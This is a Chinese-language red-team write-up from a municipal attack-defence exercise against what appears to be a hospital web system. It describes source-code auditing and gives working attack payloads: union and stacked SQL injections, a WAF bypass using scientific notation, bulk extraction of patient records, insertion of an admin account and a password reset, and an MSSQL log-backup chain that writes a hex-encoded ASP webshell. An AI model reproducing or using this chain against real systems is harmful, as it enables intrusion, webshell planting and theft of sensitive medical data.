在一次市级的攻防演练中,通过目录扫描发现了源码之后的一系列操作,大概历程是从代码审计发现sql注入,想利用sql注入取出数据发现被waf拦截,之后绕过waf,取出数据md5解密失败,配合代码审计以及SQL注入插入管理员信息进入后台,利用后台的执行语句功能通过log备份进行getshell。本来想写详细一点,但是由于在复盘时,网站正好在整改,截图只有用报告中的了,师傅们将就着看吧
通过前期的信息收集,对网站进行目录扫描,直接用御剑的大字典扫到备份文件wwwroot.zip
由于是攻防演练,这里重点关注危害影响较大的漏洞。
在下载完源码文件之后,首先肯定是要先看下配置文件。在配置文件中,可以看到此时连接mssql用的是内网ip地址,导致了不能直接外连。除此之外还需要特别注意的是数据库密码是(目标网站系统名的缩写+_1),比如说网站名是先知社区,而这数据库密码设置成了xzsq_1。后期的话可以利用此关键字进行字典的生成
除此之外,我们还需关注日志文件中的信息。有时候日志文件中会泄露后台信息,管理员账号密码等敏感信息。在这套源码中,通过对源码里面的日志文件进行分析发现大量信息泄露
泄露数据类型包括姓名,电话,个人病例信息。但是log日志文件太大了,怎样证明其中的数据量呢。可以通过一个python脚本对日志中的电话号码进行提取,根据其结果得出数据量多少,然后嘎嘎拿分
在.net中.aspx或者.ashx一般是网页文件,.cs一般是后端逻辑代码。在对目录进行浏览时,发现有一个编辑器。发现其可以进行上传文件,于是对上传文件处看了下。
可以看到这里实际上是有鉴权处理逻辑的,并且这里的文件上传代码是白名单,上传的后缀内容都是由配置文件中写好了
在配置文件中,设置了PermitUpload为Y,所以不需要登录后台用户就可以上传文件
而文件上传的后缀也被限制住了,对方中间件又是iis10.0,无解析漏洞利用。
不过看到这里有个pdf的后缀,如果是在src这种场景下可以尝试下pdf xss,有时候厂商也会接收
除了这里的编辑器处可以上传外,可以看一下例如upload.aspx,file.aspx这种命名的aspx文件。在这里file.aspx里面全是html代码,除了一开始引用这个dll文件的代码
使用ILSPY文件对对应的dll文件进行反编译,可以看到会调用UpFile函数进行文件上传。
跟踪UpFile函数,发现其是白名单,通过配置文件写死了,通过文件上传getshell的想法基本上没戏了。
本来还想找下有没有什么上传的接口没有调用UpFile函数上传,但是看了下,都是调用了UpFile函数进行上传。
在审计时发现传递进来的参数会调用ReplaceUrlBadChar函数进行过滤。
ReplaceUrlBadChar函数内容如下:
相信有师傅已经看出了此过滤函数的问题所在,这里明显存在双写绕过,并且过滤的关键字并不齐全。如果存在数字型的注入,完全可以使用双写来进行绕过。
并且由于此写法导致了每一个传进来的参数都要调用ReplaceUrlBadChar来过滤,这样势必会导致开发人员遗漏一两个参数没有调用ReplaceUrlBadChar函数进行过滤,从而导致sql注入。
所以此时有两种思路,第一种就是找调用了ReplaceUrlBadChar函数的数字型注入,第二种则是直接找没有调用ReplaceUrlBadChar函数的参数。
接下来也是成功找到了三处sql注入点
可以看到此处user_id参数通过cookie形式传入,直接拼接到sql语句中,导致sql注入
payload:
user_id=-42681 union select 1,2,user,db_name/**/(),5,6,7,8,9,10,11,12,13,14--++;
代码段跟SQL注入点一相同,只不过此时是GET参数card_id存在SQL注入
同样直接拼接,导致这里存在SQL注入。可以通过布尔盲注的形式证明
跟SQL注入点二类似,参数user_id存在注入,同样可以用布尔盲注的形式证明存在SQL注入。
通过之前的代码审计,我们已经挖掘到了SQL注入。但是正当我想进一步拿出数据时,遭到了waf的拦截。
虽然代码层面没有任何防护,但是它有一个挺厉害的waf。这也是为什么之前SQL注入点一是用联合注入直接爆当前数据库信息,而注入点二三则是仅仅通过布尔盲注证明一下,因为GET型注入与cookie型注入比较,明显后者waf的拦截规则更少,更容易突破。
此时我们来绕过waf。经过不断地fuzz发现,对于cookie型注入的规则,这个waf的拦截对于select[位置一]from[位置二]特别严格。
期间我尝试使用如下payload来绕过都无济于事
位置一:
union select+1
union select-1
union select.1
union select:1
union select~1
包括在此间插入各种空白符号
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
以及注释符都没用
位置二:
from[xxx]
from.xxx
以及注释符/**/
包括在此间插入各种空白符号
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
其中我特别不解的是%0a在cookie中传递过去,虽然可以绕过waf,但是似乎没有被解析成换行符导致语法错误从而爆不出数据。如果%0a能被解析成换行符就能绕过了,可恶!
经过后期不停的fuzz,什么垃圾数据包,分块传输,更换请求方式,利用http协议等方式都失败之后,我几乎要放弃了。但是第二天实在心有不甘,终于fuzz出来了。
总结下就是,拦截规则是拦截select[位置一]from[位置二],如果位置一是类似于如下规则都会被过滤
/**/from
]from
%20from
%09from
...
但是如果是以下之种,from跟别的字符在一起则不会拦截
/**/afrom
]bbfrom
%09efrom
那么sql语句是否有一种形式能够将字符跟from紧挨在一起而不报错呢,肯定是有的,那就是科学计数法。
如上图,此时waf识别到的是select..Efrom... ,而不是select...from... 。自然不会拦截。
接着配合代码审计部分直接判断出管理员的表名是SysAdmin,存储账号密码的列名是SysAdmin1,SysAdmin2
接着直接出管理员账号密码
user_id=-42681 union select top 1 1,2,3,SysAdmin1,5,6,7,8,9,10,11,12,13,14Efrom Sysadmin--++;
最终拿到账号密码:
Admin/C513C9D645ABB226
但是解密不出。。。。
虽然拿到了管理员账号密码,但是无法解密。无法拿到后台权限,但是却可以通过sql注入拿到大量数据,从而得分。此处SQL语句会查询用户的就诊卡信息,就诊卡信息中包括病人姓名,身份证,电话,就诊卡号等敏感信息,令user_id=42681 or 1=1
,去遍历42681这个数值,如果存在用户就诊卡信息则会显示对应用户信息,如果不存在则会显示电话为130xxxxxxx的用户信息
利用burpsuite的intruder模块去批量遍历user_id=§42681§ or 1=1
,可以得到大量病人的数据
返回的数据包如下图,但是利用burp跑的话,怎样将数据提取出来呢,从而证明自己的数据量
实际上burp有对应的功能,将其发送到intruder模块,选择好参数爆破。之后在options选项的Grep-Extract功能下,对其想要提取的数据进行匹配,注意箭头所指的Start after expression和End at delimiten在整个响应包中没有重复的部分,除此之外还要设置可以匹配响应包的长度,因为默认是100,自然是不够的。我这里改成了10000
然后开始爆破,可以看到敏感信息部分被成功提取出来了,但是显示的时候有点乱码,不过不影响,保存之后不会乱码
最终效果如下
没有getshell进不了内网是没有灵魂的。所以我选择了接着代码审计,然后发现了在后台,存在执行SQL语句的功能,如果能够进入后台执行SQL语句,利用log日志getshell就好了,诶
想了下,我只有SQL注入,但是密码无法解密。如果有堆叠注入就好了,那么我就能xp_cmdshell或者log日志getshell了。但是实际上在mssql中只要能执行if语句,那么你就能执行绝大多数语句,其中就包括xp_cmdshell。
但是悲催的是这里既不是sa权限,也没有开启xp_cmdshell。通过延时判断没有执行成功
那么究竟要怎么办呢,想了下,既然无法执行xp_cmdshell,但是我可以通过执行插入语句新增管理员来进入后台,再利用后台的执行sql语句功能来getshell
执行插入语句
user_id=42681 if(1=1) insert into[SysAdmin](SysAdmin1,SysAdmin2,SysAdmin3,SysAdmin5) values('test','A6AFBBCBF8BE7668','test','2099/11/18 12:36:00')--++;
这里没有截图,就不放图了,但是是可以执行的
之后进入后台之后发现后台分了权限的,自己新增的test用户权限不够,于是将admin用户的密码改了,然后进入后台
user_id=42681 if(1=1) update[SysAdmin]set SysAdmin2='a6afbbcbf8be7668' where SysAdmin0=1--++
进入后台之后,来到执行SQL语句功能处
通过log日志来getshell,当然这里我用的是免杀马子
backup database xxxx_db to disk = 'd:/wwwroot/logs/2019-12-20.bak'with init;
alter database[xxxx_db]set RECOVERY FULL;
create table[test_tmp](img image);
insert into [test_tmp](img) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log gxzyy_db to disk = 'd:/wwwroot/m/hacc.aspx'
最后成功getshell